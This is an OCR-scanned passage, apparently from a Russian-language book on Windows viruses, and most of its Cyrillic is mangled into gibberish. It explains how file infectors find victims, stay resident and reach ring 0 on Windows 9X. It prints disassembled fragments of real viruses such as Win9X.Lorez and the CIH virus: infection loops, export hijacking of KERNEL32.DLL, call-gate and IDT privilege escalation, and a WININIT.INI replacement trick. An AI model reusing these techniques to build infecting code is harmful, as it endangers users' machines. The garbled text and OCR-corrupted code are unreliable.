ft la s tW r ite T im e
n F ile S iz e H ig h
n F ile S iz e lo w
dwSeservedO
dwReservedl
cFileName
cA lie rn a te F ile N a m e

dup(?) 
dupC?) 
dup(?)

dd ? 
dd 2 
dd 2 
dd 2 
dd ? 
dd ? 
dd ? 
dd ?
db 255 dup 
db 14 dup

ATpweyrbi fyaf.na 
BpeMfl/ftaTa coaaaH.w; Gafina 
BpeMfl/nara noc/ieftnero flocTyna k taiijsy 
BpeMa/flata nocneAHero  oQHoeneHW Gafina 
CTapiiiwe 4 SaKTa ajwhh <t)3i<fla 
Miiaome 4 Qafrra oiumi #aSna

"fl/WHHOe" hmr Gafina
"KopoTKoe" nMfi Gafina b topMate "8.

B o t  n p H M e p  Ko/ia r rp iiM H T H B H o ro  B H p y c a  Win9X.Lud.Hill.401, a e - 

M O H C T p H p y ro m H H  T e x H O J io n iH  n o n c K a  «> K e p T B » b  T e K y m e M  K a T a jio re :

004011B4 le a eax, [ebp+iOh] ; Aflpec paSoMeii oS.nacTH

0040 T1B7 Bush eax
00401188 le a eax, dword_40132A[edi] : Aapec MacKM V E X E '
004011BE push eax
004011BF c a l l dword p t r  d s : lo c_ 40 13 0E [ed i] . OSpayjeHne k F in d F ir s t F i le A
00401105 mov tebp+0], eax
004011C8 cmp eax, -1 ; OwMStca’
004011CB j  z sh o r t  loc_4011E4 ; 3aKOHMMTb p aS o T y  BHpyca
004011 CD loc_401 1C0:
004011CD c a l l S ub _ 4 0 1 1 F 0 ; Bh 30b npoueaypw aapaxemifl
004011D2 le a eax, [ebp* l0h] , Aapec paSoMeti ofi/iacm
004011D5 push eax
004011D6 mov eax, [ebp]
0 0 4 0 1 1D9 push eax ; XsH flfl n on cK a

0 04 01 1  DA c a l l d w o rd  p t r  d s : 1 o c _ 4 0 1 3 1 2 [ e d i ] ; 06pameHiie k FindNextFileA
004011E0 o r eax, eax
004011E2 jn z sh o rt  loc_4011CD ; Hpoueflypa sapaxeHMR

004011E4 loc_4011E4: ; BoaBpaT ynpae/ieMns "xepTse"

0040130E dd 0BFF77893h : Aflpec F in d F ir s F i le A  e Windows 95
00401312 dd 0BFF778CBh Aflpec F in d N e x tF ile A  b Windows 95

0040132A db ’ E X E ',0

K c T a T H , 3 TH M H  Te x H O Jio rH H M H  o6a3an  B .ia fle Tb  H e  TO JibKO  B H pycon n ca- 

Te jib , h o  h a B T o p  3 2 -6 H T O B o r o  a H T H B H p y c H o r o  C KaH epa!

Hepe3iifleHTHbix BHpycoB, 3apa»caiomHX PE-(J>aiiJibi, aoBojibno MHoro. 
K a K  ii b  cjiynae c B H p y c a M H  win MS-DOS, 6ojibuiyio nacTb h x  cocTaB-



Bi/ipycbi aa?i 32-pa3p?i&Hbix Bepci/11/1 Windows ❖ 265

j i h i o t  « c T y a e H 4 e c K n e » -  p a 3 p a 6 o T K H ,  t o  e c T b  n e p B b ie  h  e a H H C T B e H H u e  b  

a cH 3H H  a B T o p o B  B H p y c b i ,  H a n n c a H H b ie  h m h  juia « c a M o y r B e p jK a e H H a » ,  h  

6osibme h h  jxnsi q e r o .  KaK n p a B H J io ,  o h h  h i u j t  nenH ana 3apa»ceHHa b  T e -  

KymeM K a T a j io r e ,  h  B e p o a T H O c T b  h x  p a c n p o c T p a H e H H e  3 a  n p e a e J iw  3 T o r o  

K a T a j io r a  (a  T e M  6 o j ie e  c  MauiHHH H a  M a u iH H y )  6 j iH 3 K a  k  H y j i io .

H o  TaKace c p e a n  Hepe3H/ieHTHUx BHpycoB Bejnuc npoueirr BecbMa c j i o j k -  

H b ix  nporpaMMHWX KOHCTpyKUHH, OCymeCTBJWIOmHX n O H C K  ^5KepTB> 
peKypCHBHbIM nOHCKOM no flHCKy. B  OTJIHHHe OT C B O H X  M S - D O S - « c o -  

6paTbeB», o h h  b npouecce cKanHpoBamia a n c K a  n o n n i  H e  3aTopMa*HBa- 
K)T pa6oTy C H C T e M b i B  neJIOM, TaK K a K  B  VCJIOBHflX BUTeCHHK>meH M H O rO -  

3aaaHHocTH ynpaBJieHHe peryjiapHo nepexoaHT o t  ojHoro nporpaMMHoro 
noTOKa KflpyroMy n e p e 3  k o p o t k h h  BpeMeHHOH KBam. B  s t o h  c i r r y a u H H  h  

Mbiuib « 6eraeT», h  KJiaBHiiiH «Ha*HMaK>Tca». KcTani, a bh  3HaeTe, c k o j i b -  

ko BpeMeHH yxoaHT H a  nojiHoe cicaHHpoBaHHe aHTHBHpycoM MHororara- 
6aHraoro ancica? / t e c a n c n  MiiHyT h  nacw! B H p y c ,  k o h c h h o ,  c e 6 e  TaKoe 
n03B0JiHTb He M o a ce T . O h  h j i h  0praHH30BbiBaeT c e 6 a  b BHae oTaejiwioro 
noTOKa ( 3 t o t  n p n e M  6yaeT p a c c M O T p e H  no3ace), h j i h  o r p a H n g i i B a e r c a  

cKaHHpoBaHHeM JiHUib H a c r a  aepeBa KaTajioroB. B  yacTHocTH, a B T o p a M H  

« S e a r c h » - BHpycoB HepeaKO npHMeiweTca «MeToa npeaonpeaeJieHHoro 
MecTonojiojKeHHa acepT B *-, b c o o T B e T C T B H H  c  K O T O p b iM  noHCK h  3 a p a a c e H H e  

B b in o jiHaioTc a  He no BceMy aHCKy, a T O J ib K O  b K a T a J io r a x  « C : \  W in d o w s *  

h  «  C : \ W I N N T * ,  rae n o  yMOJinaHHK) pacnojioaceHO MH0acecTB0 CTaHaapT- 
HblX C H C T e M H h lX  yTHJIHT. TaKHM 0 6 p a 3 0 M ,  noaofiHbie B H p y c b i  c p a 3 y  m i- 
u iy T C H  c npnuejioM Ha « p a c n o j i3 a H H e »  no M a u iH H e .  MHTepecHo, 3aneM, 
B e a b  CHCTeMHHe y T H J I H T H  npaKTHHeCKH H H K O r a a  C O a H O H  M a iU H H b l Ha 
a p y r y i o  H e  K o im p y io T c a ?

4.3.6. «Pe3MA6HTbi» 3-ro KOJibua 3auiMTbi
C T p O r O  rO B O p a ,  T e p M H H b l « p e 3 H A e H T H b lf t»  H  4 T p a H 3 H e H T H b IH »  ( « H e p e 3H -  

a e H T H M H » )  n p n e M - ie M b i  T o a b K o  T o r a a ,  K o r a a  p e n b  H a e T  0 6  0 a H 0 3 a a a M H b ix  

o n e p a u n o H H H x  C H C T e M a x . TeM H e  M e H e e  n p n  paccMOTpeHHH KOMnbjOTep- 
Hbix B H p y c o B ,  p a c n p o c T p a H e H H M X  b  MHoro3aaaHHbix o n e p a i iH O H H H X  c h -  
c T e M a x ,  3t h m h  T e p M H H a M H  no-npe*HeMy y a o 6 H o  n 0 J ib 3 0 B a T b c a .

« P e 3 H a e H T H o i i»  b  M H o r o 3 a a a M H o h  c p e a e  J ie n c o  m o ^ k c t  c T a T b  J i io 6 a a  

3 a n y m e H H a a ,  a  n o c j i e  s T o r o  3 a n H K J ie H H a a  n p o r p a M M a ,  b  t o m  n n c j i e  h  b h -  

p y c H a a .  I l p o 6 j ie M b i « 3 a c r p e B a H i ia »  n p o r p a M M b i  b  n a M H T H  h  p e r y j i a p H o r o  

n o j i y n e H i i a  e i i  y n p a B j ie H H H  n p n  3 t o m  p e n ia io T c a  a B T O M a T im e c K i i .  B n p y c y  

H e o 6 x o a H M o  T O J ib K O  H M e T b  B 0 3 M 0 a c H 0 C T b  K a K H M - jm 6 o  o 6 p a 3 0 M  o 6 H a p y -  

* H B a T b  q e J iH  a .x a  3 a p a a c e H H a .  P a c c M O T p H M  H e c K O J ib K O  r a n o B b i x  c x e M ,  

H c n o . x b s y e M b ix  A J ia  3 T o r o  a B T o p a M H  B H p y c o B .
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43.6.1. Bupycu -  aemoHOMHbie' npou,eccbi
ITpome Bcero He H3o6peTaTb h o bm x  BejiocuneaoB c KBaaparabiMH Kojie- 

C3MH, a B0Cn0JIb30BaTbCH xopomo H3BeCTHMMH CpeflCTBaMH, npHMeHae- 
MbiMH b  Hepe3HfleHTHbix BHpycax, a h m c h h o  4>yHKHHHMH «F in d F irs tF ile » 
h «F in d N e xtF ile ». HanpHMep, 3HaMeHHTbiH BHpyc Win32.Fualove.4070, 
cTapTOBaB ii3  3apa>KeHH0H n p o rp a M M b i, hhhtojkb c y M H H iiie c H  BbirpyacaeT 
ce6a Ha a h c k  b  b h ae nporpaMMHoro (J>aftjia « F C N T L .E X E »  h  3anycKaeT 
ero Ha ncnojmeHHe. BnpycHbiH ko/i , coaepacamiiHcn b  s to m  (J)aHJie, npo- 
BepaeT, nojiynnji jih  oh  ynpaB.neHHe KaK nacTb 3apaaceHH0H nporpaMMbi 
h jih  KaK caMOCTOHTejibHoe npHJioaceHHe, h  bo BTopoM cjiynae npocTo b h -  
CHT B naMHTH H B 6eCK0HeHH0M HIlKJle npn nOMOIHH 4>yHKUHH nOHCKa 
peKypcHBHO CKaHiipyeT Becb £ h c k . IIpocTeHbKO h  co BKycoM, He TaK jih ?

4.3.62. *IIojiype3udeHmHbie» eupycu
B i i p y c  3T o r o  rana n p n  n o M o m n  c e p B i i c a  •« Create Thread* p e r a c T p n -  

p y e T  n p o u e a y p y  c K a n i i p o B a m iH  f lH C K a  K a K  O T f le j ib H b iH  B H H H C j iH T e j ib H H H  

n o T O K , p a 6 o T a io m H H  n a p a j u ie j i b H o  c  n o T O K a M H  3 a p a » c e H H O H  n p o r p a M M b i .  

Pa3yMeeTCH, 3T0T 3JI0BpeaHUH n O T O K  -tsXHB*- p O B H O  CTO JIbKO  BpCMeHH, 

cK O J ib K O  p a 6 o T a e T  3apaaceHHan n p o r p a M M a ,  h 3 a B e p u ia e T  c b o io  p a 6 o T y  

B M e c T e  c  H e f t .  O / t n a K O  n p e f l c r a B b r e  c e 6 e , hto  n o / io o u b iH  B H p y c  CTapTOBaji 

H 3  3a p a * e H H o i i  nporpaMMbi « W IN  WORD. EXE», K O T o p y io  b  r a n m H O M  

cjiynae n o j ib 3 0 B a T e j ib  3 a n y c K a e T  b  Hanajie p a 6 o n e r o  a h h  h  3 a B e p m a e T  

T o j ib K o  B e n e p o M .  3 K c n e p H M e H r a  n o K a 3 U B a io T ,  h t o  y jK e  n e p e 3  5  m h h v t  

« 3 a 6 o j ie B a ro T >  MHonie aecHTKH iiporpaMMHbix <f>aftjioB H a  j i h c k c ,  a  n p n -  

M e p H O  nepe3 nac M a u iH H a  0 K a 3 b m a e T c a  3 a B H p y coBaHHoft n o j iH o c T b io !  

CaMopa3MHo*aioimixcH n p o r p a M M ,  HcnoJib3yiouiHx no/io6Hyio t c x h o -  

j i o r a i o ,  6 b w o  HaniicaHo H e M a J io  (HanpHMep, Win32.Rainsong.3891, 
Win32.Resur, Win32.Yfonga.2384, Win32.Saynob.2406 i i  n p o H H e ) .  

Ohh b  H e o 4 > H H H a . iib H o ft  B i i p y c H o f t  T a K C 0 H 0M H H  aaace 0 6 p a 3 0 B a J iH  o t -  

a e . ' ib H M H  K J ia c c  <s?iojiype3udeHmHbix» B i i p y c o B .

4.3.63. Bupycu, 3apaoKawtu,ue cmandapmHue 
KOMitOHewnu Windows
Eme o.tthh aoBOJibHO pacnpocTpaHeHHbifi noAXoa saKJUonaeTCH b tom, 

hto 3apa>KaeTCH KaKaH-Hn6yab cTan/iapTnaa aHHaMHHecKan 6H6jiHOTeKa 
(HanpHMep, «  KERNEL32.DLL*) hjih cjiy»ce6Hoe npujioaceuHe (Hanpn- 
Mep, ^EXPLORER.EXE*). HBJiHiomiiecH nacTbio onepauH O H H O H  cucTe- 

m h. TaK nocTynaioT Win9X.Lorez.l766.a, Win9X.Yum.1167, Win9X. 
Dodo.1022, Win32.Beef.2110 h npoHHe. Bot, HanpHMep, hto Bbrreopsi- 
eT Win9X.Lorez.l766.a c /iHHaMiiHecKOH 6h6jihotckoh «KERNEL32.
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DLL». C u a q a j i a  o h  KonnpyeT 6 H 6 jiH O T e ic y  H3 « C : \ W i n d o w s \ S Y S T E M »  

b  «C :\ W in d o w s» h Bee flajibneHurHe o n e p a n H H  np0H3B0flHT c  KonHeii 
3 a T e M  o h  cxaBHT b  noJie « P o i n t e r T o S y m b o l T a b l e »  P E - 3 a r o j i o B i c a  yH H - 

KaJibHyio M e T K y , hto6m b  flajibHeftmeM OTJiHHaTb 3 a p a a c e H H b ie  6h6jiho- 
TeKH O T «3 A 0 p 0 B b IX ». BcJiefl 3a 3THM BHpVC paCUIHpaCT CeKUHK) « .r s r e >  

Ha 4096 6a iiTO B  (He 3a6uB CKoppeierHpoBaTb nojie «S izeO fIm age» b P E -  

3ar0Ji0BKe h  n o u n  « V i r t u a l S i z e »  h  « S i z e O f R a w D a t a »  b  T a 6 j m u e  ceK - 

uhh), 3a0flH0 H3MeHHB 6HTOBbie (jjjiara aocTyna k  Heft c 40000040h Ha 

E0000040h. FIotom B H p y c  B n n c b i B a e T  ce6a b  06pa30BaBu.ieecH n y c T o e  

np0CTpaHCTB0 h  HSMeHHeT b  T a 6 / n m e  aK cnopT a  6n6,fiH0TeKH c c b u i K y  Ha  

cJjyHKUHK) «GetFileAttributesA» T a n , hto6m O H a y Ka3biBajia Ha B H p y c - 
h m h  K o /i. Cmotphtc, bot ciOAa ccbu iaeT ca  T a6 jiH u a  aK cn opT a  b « 3 f lo p o -  

b o h »  6ii6jnioTeKe, Bxo/uimeH b  c o c T a B  W i n d o w s  95:

; Ha^a/io ’'G e tF i ie A t t r ib u t e s A "
3FF7786C 57 push e d i
3FF7786D 6A21 push 021
3FF7786F 28D2 sub edx ,edx

A  b  3apa>KenHOH KonHH 6 h 6 .ih o tc k h  3Ta ace ccbLiiea Be/ieT cobccm  b  

apyroe M ecTo:

BFFD7979 dd BFF7786C

; HaM3.no enpycHoro Koaa W in9X.Lore z . 1766.a
BFFD7F2D 9C pushfd
BFFD7F2E 50 push eax
BFFD7F2F 53 push ebx
BFFD7F30 51 push ecx
3FFQ7F31 52 push edx
BFFD7F32 57 push e d i
SFFD7F33 56 push e s i
8FFQ7F34 55 push ebp
BFFD7F35 E800000000 c a l l .CBFFD7F3A
3FFD7F3A 50 pop ebp
BFFD7F3B 81ED42154000 sub e b p ,000401542

BFFD7F68 50 pop ebp
BFFD7F6C 5E pop e s i
BFF07F60 5F pop e d i
BFFD7F6E 5A pop edx
BFF07F6F 59 pop ecx
BFFD7F70 5B pop ebx
BFFD7F71 58 pop eax
BFFD7F72 9D popfd
BFFD7F73 FF257979FDBF jtnp [0BFFD7979]
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06paraTe BHHMaHHe Ha nepBbie KOMaH.au BHpyca (onpeaejiemie 

<sAeJibTa-cMemeHHH») h  Ha nocjieztHiofo KOMaHAy BHpycHoro (JjpameHTa 
(B 0 3 B p a T  y n p a B Jie H H H  «Ky/ta n 0 J i0 3 K e H 0 »). lO ia c c H K a , He npaBsa j ih ?

B o t h Bee, ocTajiocb AoacAaTbcn nepe3arpy3KH, h W indows noMecTHT 
3apa>KeHHyio Konmo 6h 6jihotckh b aapecHue npocTpaHCTBa Bcex npo- 
neccoB. C 00TBeTCTBeHH0, BHpyc HaHHeT nepexBaTMBaTb o6pameHHH k 
npoipaMMHbiM cJiafijiaM h  3apaacaTb hx no Mepe CBoero acejiaHHH h cbohx
B03M0>KH0CTeH.

Boo6me, rojioBHaa 6ojib ajih BHpycoB noAo6Horo Tuna -  KaK moam- 
(J)HijHpoBaTb (})aHJi « K E R N E L 3 2 .D L L » ,  Beflb W indows jiio 6o h  Bepcnn 
3amnmaeT (Jjaiijibi HcnojiHHeMbix nporpaMM h  3 a rp y »c e H H b ix  6h 6j ih o -  

TeK o t  3 a n n c H  ( h o  He o t  K o n H p o B a m ia ).  O a h h  H 3 cnoco6oB pememia 
npo6jieMbi y;*ce npoaeMOHCTpHpoBaH Bbirne Ha npiiMepe BHpyca Win9X. 
Lorez.i766.a, Apyrofl (npnroAHbiH TOJibKO fljw W indows 9 X )  c o c t o h t

B TOM, HTo6bI, C03AaB H M0flHcj)HIIHp0BaB KOnHIO, pa3MeCTHTb B KaTaJIO-
re «C :\ W in d o w s » cnennajibHbiH KOHcJjiirypaimoHHHH t^aflji « W I N I N I T .  
IN I »  npHMepHO BOT C T3KHM COAepJKHMblM:

[Rename]
NUL=C:\Wifidows\SYSTEM\KERNEL32. DLL
C :\Windcws\SYSTEH\KERNEL32.DLL^C:\Windows\SYSTEH\KERNEL32.VIR

Bo BpeMa 3arpy3KH onepaimoHHoft CHCTeMbi 6ya yT BbHiojraeHM yKa- 
3aHHbie b (Jjaiijie «nepecTaHOBKH», nocjie Hero « W I N I N I T . I N I »  c npo- 
THBHbiM XHXHKaHbeM caMoyHHMToacHTCH. B h , HaBepHoe, noayMaJIH, HTO 
3 to t MexaHH3M cneiiHajibHo BKJironeH b W indows ajih o6jierHeHPta jkh3hh 
BHpyconncaTejMM? HeT, oh aapecoBaH aBTopaM HHCTajiJiHHHOHHHx npo
rp a M M .

43.6.4. Bupycw, anxuimupywu^ue cnucoK npou,eccoe
He oneHb nacTo Hcnojib3yeMan, ho oneHb jno6om>rrHafl TexHOJioraa no- 

HCKa BHpycaMH acepTB 3aKJiioHaeTca b tom, hto6m, ocraBiiiHCb b naMHTH 
OflHHM H3 paCCMOTpeHHbIX BblUie Cn0C060B, OflHH pa3 3an0MHHTb, a nOTOM 
peryjinpHO CKaHHpoBaTb ciihcok BbinojiHHiomHXCH b CHCTeMe npoueccoB 
(KaK 3T0 aejiaeTCH, 6yfleT paccMOTpeHO HHace). B  stom ciracKe npncyr- 
CTByioT HMeHa cf>aHJioB, H3 KOTopbix cTapTOBajiH npoueccbi. Ecjih  oahh 
H3 npoueccoB H C H C 3 aeT H3 CnHCKa, TO 3T0 3HaHHT, HTO OH 3aB epiU H JIC H , H 
cooTBeTCTByiomHH cj)aHJi mo»cho 3apa*aTb. TaK nocTynaioT, HanpHMep, 
BHpychi Win9X.Yabran.3132 h Win9X.Tecata.1761.

Bojiee npoABHHyTan «TexHo;iorHH» 3aKJiioHaeTCH b  t o m , h t o 6 h , nojiy- 
h h b  cnncoK BhinojiHHiom HxcH npoueccoB, BHeApHTbCH b  h x  aApecHoe npo- 
CTpaHCTBo, nepexBaTbiBaa o6pameHHH k OnepanHOHHOH CHCTeMe. I I o a o 6-
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h m m  0 6 p a 3 0 M , HanpHMep, Be/iyT ce6a MHoroHHcjieHHbie pa3H0Bn/iH0CTn 
B H p y c a  Win32.Virut, n o jiy H iiB iu e r o  pacnpocTpaHeHHe b KOHne n e p B o ro  

aecHthjicthh XX I BeKa. Ohh npn noMomn «CreateToolhelp32Snapshot» 
aeJiaioT «chiimok» cnncKa npoijeccoB b naMHTH, oncpbiBaioT hx npn no- 
moiuh «Open Process*, 3anycKaioT BHyrpH hhx BHpycHue noTOKH npn no- 
moiuh « Create Remote Thread », nepexBaTbroaiOT b «N TD LL.D LL» (Jwhk- 
HHH «NtCreateFile* h «NtCreateProcess» h 3apaacaioT npaKTinecKH Bee 
nporpaMMbi, k KOTopbiM npoHcxoaHT o6pameHHe b ceaHce pa6oTM.

4.3.7. «Pe3HAeHTbi» 0-ro xoiibija 3aiMMTbi
Boo6me r o B o p n , a m  n 0 Jib 3 0 B a Te .ib c .K 0 H  n p o rp a M M b i b  Windows ecn> 
TO JibK O  o a H H  Jiera.TbH bift cnoco6 n p o H H K H y T b  b  0-e k o jim io  3 a m n T b i -  H e - 

06x 0flH M 0 6biTb CHCTeMHbiM a p a ftB e p o M . TeM He M eH ee b  Windows 9X (h o  

H e b  Windows N T !) c y m e c T B y io T  o6xo/iHbie nyra, n0 3 B 0 JW K > m H e  jno6oMy 
npHjioacemtio 3 - r o  KOJibua nojiyHHTb «B0Jiwe6Hbie n p H B H Jie rM M * '. T a K H M  

0 6 p a 3 0 M ,  n p a K T H H e c K H  Bee, o  n e M  6ya.er h a t h  p e n b  b  s to m  p a 3 g e a e , o t -  

h o c h t c h  J iH u ib  k  Windows 9X.

4 . 3 . 7 . 1 .  l l e p e x o d  e  0 - e  K o n v u f i  3 a w , u m u  M e m o d o M  

c o 3 d a n u H  c o d c m e e n u b i x  u u i t o 3 o e

y  aT o ro  M eToaa MH0acecTB0 MozmcJwiKamift. h o  aa jieKO  He B ee oh h  

BCTpeMaiOTCH b  BH pycax. PaccMOTpHM MCToa Ha n p H M e p e  aeftcTBHH, npea- 
npHHHM aeM bix jum  n ep e x o a a  b  0 -e  K o jib u o  3amHTbi BH pycoM  Win9X. 
Yabran.3132. lie p B U M  ae ;ioM  BH pyc HHTaeT T eK ym ee  coaepacH M oe pe- 
racipa GDTR:
sgd t [ebp+00040212E] ; Burpy3Ka b naM«7b perncTpa GOTR

Bnpyc o6pamaeTCH k nepBOM y nonaBiueMycH aecKpmiTopy b GDT, co- 
xpaHHeT ero CTapoe 3HaqeHHe h Mo/u«j)HunpyeT TaKHM 06pa30M, hto6u
nOJiyHHJICfl 1UJII03.

, B EAX -  aapec nnaHnpyeMoJi tomkm nepexona 
push eax

mov eax, [ebp+000402130] ; Aflpeo GOT
eax, 008 ; CMeuieHKe nepaoro nonaBiuerocn

; flecKpiifiTopa

1 Ha caMOM aene b  Windows NT T a K H e  T o a c e  H H o r/ ia  B c r p e i a i o T c a ,  h o

o h h  6 a 3 H p y io T C H  H e  Ha cTa6Hjn>HMX a p x H T e ic r y p H u x  o c o 6 c h h o c t h x  o n e p a u H -  

O H H o tt  C H C T e M H , a  H a  B p e M e H H o  c y m e c T B y io m H X  o u iH 6 K a x  n p o r p a M M H C T O B  

cfwpMbi Microsoft.



270 ❖  cDaiMOBbe enpycbi b Windows

; OparMeHT coxpaneHM H aecKpunTopa (nponyuieno) 

; npeo6pa3oeaHHe fleoKpnniopa b uuies
mov Dx,[ebp+00040211A]
mov [eax+ 02],bx ; CejieKTop
mov word ptr [eax+04], CECOO.n ; ATpn6yTW
pop ecx ; Aflpec tomkm  nepexoca
mov bx, cx
sh r e c x ,010
mov [e ax ],b x
mov [eax+ 06],cx
mov dword p t r  [ebp+000402134],ebx ; Mjiafliuan Mactb afipeca
mov dword p t r  [ebp+000402138],ecx ; CTapmaa Macib afipeca

HaKOHeu, BHpyc Bbinojii-taeT flcUibHHii nepexoa no no.aymiBiueMycsi 
uiJiio3y npn noMomu o6whhoh KOMaH/iu «CALL».
c l i
c a ll  fword p tr [ebp+000402134]

B pesyjibTaTe ynpaBJieHiie noJiynaeT (JjparaeHT Toro jke BHpyca, TOJib- 
ko npHBHJierHH y  3Toro Koaa yace cootbctctbjtot O-My KOJibuy. KcTam, 
B Windows NT 3T0T BH p y c  HaTOJIKHeTCfl H a  HeB03M0JKH0CTb MOAH(J)HKa- 
H H H  aeCKpHnTOpOB.

43.72. Tlepexod e 0-e K0Jibu,0 3au^umu nodMenou 
o6pa6omnuKa ucxjiWHenuu
3 t o t  MeToa cTaji oneHb nonyjiapHbai cpeflH BHpyconHcaTejieft nocJie 

mhpoboh annaeMHH BHpyca W in9X.CIH b 1998-1999 rr. O h 6hui npaic- 
THHecKH 6aHT b 6aiiT BocnpoH3BeaeH bo mhoitix flecancax (a  M o*eT 6urb, 
h co th h x !) BHpycoB, HanHcaHHbix «n o  o6pa3y h uomGmo* ero. He 6y^e.vi 
aa^eKO xo/iHTb, a H3yHHM Hana^bHbie (JjparMeHTH «opHniHajia»:

push ebp
lea eax,[esp-0008] Afipec oS/iacTM b O Texe

xor ebx, ebx ebx: =0

xchg eax,fs:[ebx] Tenepb f s : [0] yK a3 b iea e T  na 3 T y  06/iacTb
c a ll $+5 BuMMcjieHne...
pop ebx .. .fleJibTa-CMeiueHMS!

lea ecx,[ebx+00042] Aapec HOBOTO SEH
push ecx 3anojlHHTb OfiJiaCTb B CT6 K e. . .
push eax ...HOBWMM 3H3MeHHRMM

I lo c J ie  BbinojiHeHHH a T o r o  $ parM eH T a  pa ftoH  naMH-ra, b  k o t o p o m  p a c -  

n o jio a ce H  c t c k , 6y / ie T  cofle pacaTb  c jie z iy io m H e  a a H H b ie  ( c m . T a o .i .  4.10).
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T a d n u ix a  4 .1 0 .  C re te  « H e p H o 6 b U ib C K o ro » B H p y ca

C M e m e H H e 3HaMeHMe npMMeMaHHe

ESP EBP
ESP-4 Aapec craporo SEH
ESP-8 Aqpec HQBoro SEH Ciofla yKa3btBaeT FS:[0]

riocKOJibKy cTeK «pacTeT bhh3», to  aocTaTOHHo nepeBepHyTb 3Ty Ta6- 
JiHHicy BBepx TopMaiiiKaMH h yBHfleTb, hto (J>parMeHT creKOBOH naMHTH, 
HaHHHaiomHHCH c aapeca [ESP+8], no CBoeMy coaepacHMOMy oneHb na- 
noMHHaeT Hanaro Kaicon-To TIB. Bee npaBHJibHo, HMeHHo b stoh poJiH 
oh b aaJibHemneM h 6yaeT Hcn0Jib30BaTbcal Kraic, nepBUM aejioM BH
pyc B3HJI Ha ce6n o6pa6oTKy HcicjiioHHTejibHbix CHTyamiii. 3aneM? /teJio 
B TOM, HTO HeriOCpe/JCTBeHHO BCJiea 3a 3THM OH nblTaeTCH MOaH(f)HUH- 
poBan> cHCTeMHyio IDT, hto6h  B3HTb Ha ce6h Taicace eme h o6pa6oTKy 
npepHBaHHH HOMep 3 (MoaH^HKanna aecicpHnTopa B03M0>KHa TojibKo 
b W indow s 9X). CMOTpHTe:

push eax
s id t  [e sp -0002] ; Aapec IDT -  b  OTex.
pop ebx
add ebx .O iCh
c i i
, f le cK p m T o p  6 -6 a iiT o s t i( ip u Moamt>MunpyeTci= oh  no MacTHM 
mov e b p ,[ e b x ]
mov b p ,[e b x -0 0 0 4 ]
; BwnoJiHfleToa aapecauM fl Ha Hoeuft o6pa6oTMHK 
le a  e s i,[e cx+ 00012]
push e s i
; B nM cw sae ica  1 -a  no/ioEHHa aapeca

aov [ e b x - 0 0 0 4 ] ,s i
s h r  e s i , 010
; 3aT9M BTOpafl
mov [ebx+ 00002 ],s i
pop e s i

Tenepb fl0CTaT0HH0 HHinxHiipoBaTb BM30B npepbiBaHHH KOMaHflOH 
«IN T  3», h ynpaBJieHHe nojiyHHT BHpycHbift o6pa6oTHHK aroro npepbiBa
HHH. TojibKo b ot BunojiHHTbCH 3T0T o6pa6oTHHK 6yfleT y»;e  B 0-M KOJIbUe 
3amHTH, a 3T0 3HaHHT, hto BHpyc nojiyHHT He/iocTyiiHbie eMy npeacfle ch- 
CTeMHbie npHBH.ierHH. KcraTH, MoaceT noKa3aTbCH CTpaHHHM, hto aBTop 
« tIepHo6buiH» fl0B0JibH0 3aMbicJi0BaT0 MaHHnyjnipyeT co CTeKOM, bmccto 
Toro hto6u  npocTo cc})opMHpoBaTb HyacHyio cTpyicrypy jaHHbix b o6mh- 
hu x  nepeMeHHbix. /le.no b tom, h to  ^aHHbiH c^paraeHT Biipyca BbinojiHH- 
eTCH b o6jiacTH PE-3aroJioBKa h, cJieflOBaTejibHO, nncarb b <so6biHH}'io»
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ria M H Tb  H e  M oaceT. OneHb H e M H o ra e  « n o a p a * :a T e ; iH »  (H a n p H M e p , aBTop 

B H p y c a  Win9X.Sign.2028) o 6p a n u i H  H a  s t o  B H H M a m ie  h  n o n b r ra jr a c b  

X O TH  6b l H y T b -H y T b  y n p O C T H T b  H OIlTHMH3HpOBaTb « H e p H o 6h U Ib C K H H » a j l-  

ropHTM, 60JIb IIIH H C TB 0 Me CKOnHpOBaJIH e r o  B CBOH B H p y C H , H e BHHKaH 
B  C y T b .

PI TaK. B H p y c  BOiueji b  npHBHJier n p o B a H H W H  peacHM h  Tenepb Bpoae 6 m  

Mo»ceT aeJiaTb Bee. h t o  xoner. o 6 p a m a T b c n  H a  HTemie h  3anncb k  jik>6mm 
4>parMeHTaM <f>H3HHecKofi n a M H T H  h  k  j h o 6 u m  n o p T a M  BBoaa-BWBoaa. 

Ho 3to ace o6cTOHTe;ibCTBO 3aopoBo vcjiojkhhct BH p y c y  5KH3Hb. Tenepb 

e M y  HeflocTyHHbi mhotohhcJieHHbie cepBHCHhie (JiyHKiyiH Win32 A P I, 
o h  B M H y a c a e H  Han p H M y i o  o 6 p a m a n > C H  k cjiojkhchiuhm h  a6c0Jii0TH0 He- 

/lOKVMeHTHpOBaHHblM HH3KOypOBHeBbIM C C p B H C a M  Hflpa OnepailHOHHOH 

cncTeMbi, y H H T M B a n  «;iocKyTHoe» pa3ae;ieHHe 4>H3HHecKOH n a M H T H  Ha 

CTpaHHixw. M  n e p B H M  ae.noM pe3iiaeHTH0My B H p y c y  HyacHo peuiHTb npo- 

6jie.\iy oTaejieHHH CBoero Tejia ot nporpaMMbi 3-ro Kojibiia 3amHTbi h  pa3- 

MemeHHH ero rae-To b  « y K p 0 M H 0 M  yrojree* onepaTHBHoii naMHTH.

43.7.3. MHcmajuLHUfUH e Heucnojib3yeMue 6y<pepu V M M
«PaHHHe» BHpycbi, HaniicaHHbie b snoxy Windows 95, aoBoabHo nacTo 

npHMeHHJiH s to t npocToii cnoco6 ycTaHOBKH CBoero Tejia b naMHTb. Efpn 
o6cy»cfleHHH pacnpeaeaeHHH naMHTH b Windows 9X m u ynoMHHajm, hto  

nacTb «cjiyjKe6HHX» ofijiacTeft naMHTH c aapecaMH Bbiuie OCOOOOOOOh 

npHHaa.TejKHT aapecHbiM npocTpaHCTBaM Bcex npoueccoB h npn stom 
He 3ammneHa o t  3aimcH. B  nacTHOCTii, rae-To HenoaaaeKy o t  aapeca 
OCOOOlOOOh MeHeaacep BHpTyaabHbix MauniH pa3MemaeT cboh 6y<j>epbi 
a jih BpeMeHHWx aaHHbix. H eHcriojib3yeMbie (Tom ee, noKa eme He hc- 
ri0.Tb30BanHbie!) 6yc]pepbi 3anojmeHbi KoaoM OFFh. B o t KaK npHMeHHeTCH 
3TO o6croHTejibCTBo b Biipyce Win9X.Harry.a.
mov edi,0C0001000h
mov eax,OOOOOQOFFh
mov ecx,OFFFFFFFFh
repne scasb

CTapTOBwii aapec ano noncKa 
VICKOMUft KOfl

